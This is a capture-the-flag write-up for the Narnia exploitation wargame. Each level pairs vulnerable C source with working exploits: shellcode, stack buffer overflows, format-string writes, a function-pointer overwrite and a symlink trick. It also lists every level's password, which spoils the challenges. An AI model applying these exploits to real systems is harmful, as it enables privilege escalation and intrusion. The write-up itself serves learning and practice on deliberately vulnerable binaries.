Description:
This wargame is for the ones that want to learn basic exploitation. You can see the most common bugs in this game and we’ve tried to make them easy to exploit. You’ll get the source code of each level to make it easier for you to spot the vuln and abuse it. The difficulty of the game is somewhere between Leviathan and Behemoth, but some of the levels could be quite tricky.

All the password are stored in /etc/narnia_pass/narnia[level].

Level 0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Here is my script.

1
2
3
4
5
6
7
from pwn import *
s = ''
s += "A" * 20 + p32(0xdeadbeef)
p = process('/narnia/narnia0')
s1 = p.recvline()
p.sendline(s)
p.interactive()

And we can get the password efeidiedae.


Level 0 -> Level 1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

We can use the command export EGG=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")') to make environment variable EGG to a shellcode which executes /bin/sh.

And we can get the password nairiepecu.


Level 1 -> Level 2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}

First, we use checksec to see the information of the program.

RELRO STACK CANARY NX PIE
No RELRO No canary found NX disabled No PIE

In this challenge, we can put our paddings and shellcode in the buffer, and cover the return address to the address near our shellcode.

From gdb, it shows that we need 132 bytes of paddings to reach the return address, and I put 28 bytes shellcode between 104 bytes paddings.

1
2
3
4
5
6
7
8
from pwn import *

# 28 bytes
shellcode = ('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89'
        '\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80')

s = "A" * 52 + shellcode + "B" * 52 + p32(0xffffd5d8)
print(s)

And we can use ltrace to see where exactly esp is.

Local Picture

In this case, it is 0xffffd5b8, so we make the return address to 0xffffd5d8, which is between esp and the shellcode, and we can get the shell and the flag.

Local Picture


Level 2 -> Level 3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

    int  ifd,  ofd;
    char ofile[16] = "/dev/null";
    char ifile[32];
    char buf[32];

    if(argc != 2){
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    /* open files */
    strcpy(ifile, argv[1]);
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile);
        exit(-1);
    }
    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile);
        exit(-1);
    }

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1);
    write(ofd,buf, sizeof(buf)-1);
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    /* close 'em */
    close(ifd);
    close(ofd);

    exit(1);
}
RELRO STACK CANARY NX PIE
No RELRO No canary found NX enabled No PIE

For this challenge, what we can do is that we turn ifile into the path containing the password, and turn ofile into our own file.

To do this, we make a directory using mkdir -p /tmp/narnia3/nnnnnnnnnnnnnarnia3/tmp/narnia3. And we use ln -s /etc/narnia_pass/narnia4 /tmp/narnia3/nnnnnnnnnnnnnarnia3/tmp/narnia3/ans to create a file called ans, which links to /etc/narnia_pass/narnia4.

Then, we make a file touch /tmp/narnia3/ans. Finally, by executing ./narnia3 /tmp/narnia3/nnnnnnnnnnnnnarnia3/tmp/narnia3/ans, we can get the flag in /tmp/narnia3/ans.

ifile becomes /tmp/narnia3/nnnnnnnnnnnnnarnia3/tmp/narnia3/ans, and ofile becomes /tmp/narnia3/ans.

The flag is thaenohtai.


Level 3 -> Level 4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
    int i;
    char buffer[256];

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));

    if(argc>1)
        strcpy(buffer,argv[1]);

    return 0;
}

First, we use checksec to see the information of the program.

RELRO STACK CANARY NX PIE
No RELRO No canary found NX disabled No PIE

This challenge is quite similar to Level 1 -> Level 2.

We need 264 bytes paddings, including our shellcode.

esp is located at 0xffffd4b4, so we can use 0xffffd4c4 as our return address.

1
2
3
4
5
6
7
8
from pwn import *

# 28 bytes
shellcode = ('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89'
                '\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80')

s = "A" * 118 + shellcode + "B" * 118 + p32(0xffffd4c4)
print(s)

And we can get the flag faimahchiy.


Level 4 -> Level 5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
	int i = 1;
	char buffer[64];

	snprintf(buffer, sizeof buffer, argv[1]);
	buffer[sizeof (buffer) - 1] = 0;
	printf("Change i's value from 1 -> 500. ");

	if(i==500){
		printf("GOOD\n");
        setreuid(geteuid(),geteuid());
		system("/bin/sh");
	}

	printf("No way...let me give you a hint!\n");
	printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
	printf ("i = %d (%p)\n", i, &i);
	return 0;
}

First, we use checksec to see the information of the program.

RELRO STACK CANARY NX PIE
No RELRO No canary found NX enabled No PIE

This time, we need to use format string vulnerability.

We use AAAA as our payload, it shows that i = 1 (0xffffd6c0). So, we can use python -c 'print("\xc0\xd6\xff\xff”+"A"*496+"%n")' as our payload, hope the value of the address 0xffffd6c0 is changed to 500. However, it shows us i = 1 (0xffffd4c0).

Finally, what we need to do is to revise part of it. We use python -c 'print("\xc0\xd4\xff\xff”+"A"*496+"%n")' as our payload, and we can get the flag neezocaeng.


Level 5 -> Level 6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
	char b1[8], b2[8];
	int  (*fp)(char *)=(int(*)(char *))&puts, i;

	if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

	/* clear environ */
	for(i=0; environ[i] != NULL; i++)
		memset(environ[i], '\0', strlen(environ[i]));
	/* clear argz    */
	for(i=3; argv[i] != NULL; i++)
		memset(argv[i], '\0', strlen(argv[i]));

	strcpy(b1,argv[1]);
	strcpy(b2,argv[2]);
	//if(((unsigned long)fp & 0xff000000) == 0xff000000)
	if(((unsigned long)fp & 0xff000000) == get_sp())
		exit(-1);
	setreuid(geteuid(),geteuid());
    fp(b1);

	exit(1);
}

First, we use checksec to see the information of the program.

RELRO STACK CANARY NX PIE
No RELRO No canary found NX enabled No PIE

Test the arguments with gdb, we can see that fp has a higher address than b1, which is the first word after b1, and it executes puts with b1 as parameter.

We can change the address of puts to system, and put /bin/sh in b1 to get the shell.

We break at main, and break at system, then we can get the address of system, which is 0xf7e4c850.

By executing ./narnia6 $(python -c 'print("A"*8+"\x50\xc8\xe4\xf7")') $(python -c 'print("B"*8+"/bin/sh")'), we can make fp points to system and /bin/sh store at b1.

And we can get the flag ahkiaziphu.


Level 6 -> Level 7

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
	    fflush(stdout);
        setreuid(geteuid(),geteuid());
        system("/bin/sh");

        return 0;
}
RELRO STACK CANARY NX PIE
No RELRO No canary found NX enabled No PIE

In this challenge, it would tell us goodfunction() = 0x80486ff, hackedfunction() = 0x8048724, before : ptrf() = 0x80486ff (0xffffd658). What we need to do is to make ptrf() point to hackedfunction(), whose address is 0x8048724.

We can use format string vulnerability again by executing ./narnia7 $(python -c 'print("\x58\xd6\xff\xff%.34596x%hn")'). 34596 is 0x8724 in decimal, and %hn is 2 bytes. That is, we change the last 2 bytes value in address 0xffffd658, which is 0x86ff, to 0x8724, make it 0x8048724, and it is the address of hackedfunction().

And we can get the flag mohthuphog.


Level 7 -> Level 8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;

void func(char *b){
	char *blah=b;
	char bok[20];
	//int i=0;

	memset(bok, '\0', sizeof(bok));
	for(i=0; blah[i] != '\0'; i++)
		bok[i]=blah[i];

	printf("%s\n",bok);
}

int main(int argc, char **argv){

	if(argc > 1)
		func(argv[1]);
	else
	printf("%s argument\n", argv[0]);

	return 0;
}
RELRO STACK CANARY NX PIE
No RELRO No canary found NX disabled No PIE

What we can do is that we can modify the return address to our shellcode, and we can get the flag.

In gdb, we try to use 40 paddings to overflow bok, but it only shows 21 paddings. That is because if the address stored in blah is changed, it no longer copy address from blah to bok.

We can execute r $(python -c 'print("A"*20+"\x34\xd8\xff\xff"+"B"*4+"\x54\xd6\xff\xff" to keep the address stored in blah, which is 0xffffd834, and 4 bytes paddings to cover stored EBP, followed by the address of our shellcode, which is 8 bytes from the end of paddings.

In conclusion, the whole execution is r $(python -c 'print("A"*20+"\x34\xd8\xff\xff"+"B"*4+"\x54\xd6\xff\xff"+"\x90"*4+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1 \x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")'). EIP will jump to 0xffffd654, which is the first \x90, and it will execute the shellcode.

Outside of gdb, the address will be different. We use ./narnia8 $(python -c 'print("A"*20+"\x38\xd8\xff\xff"+"B"*4+"\x70\xd6\xff\xff"+"\x90"*30+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1 \x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")') to get the shell, and change 4 bytes of \x90 to 30 bytes because it can be better to find the location of shellcode.

And the flag is eiL5fealae.


Level 8 -> Level 9

you are l33t! next plz…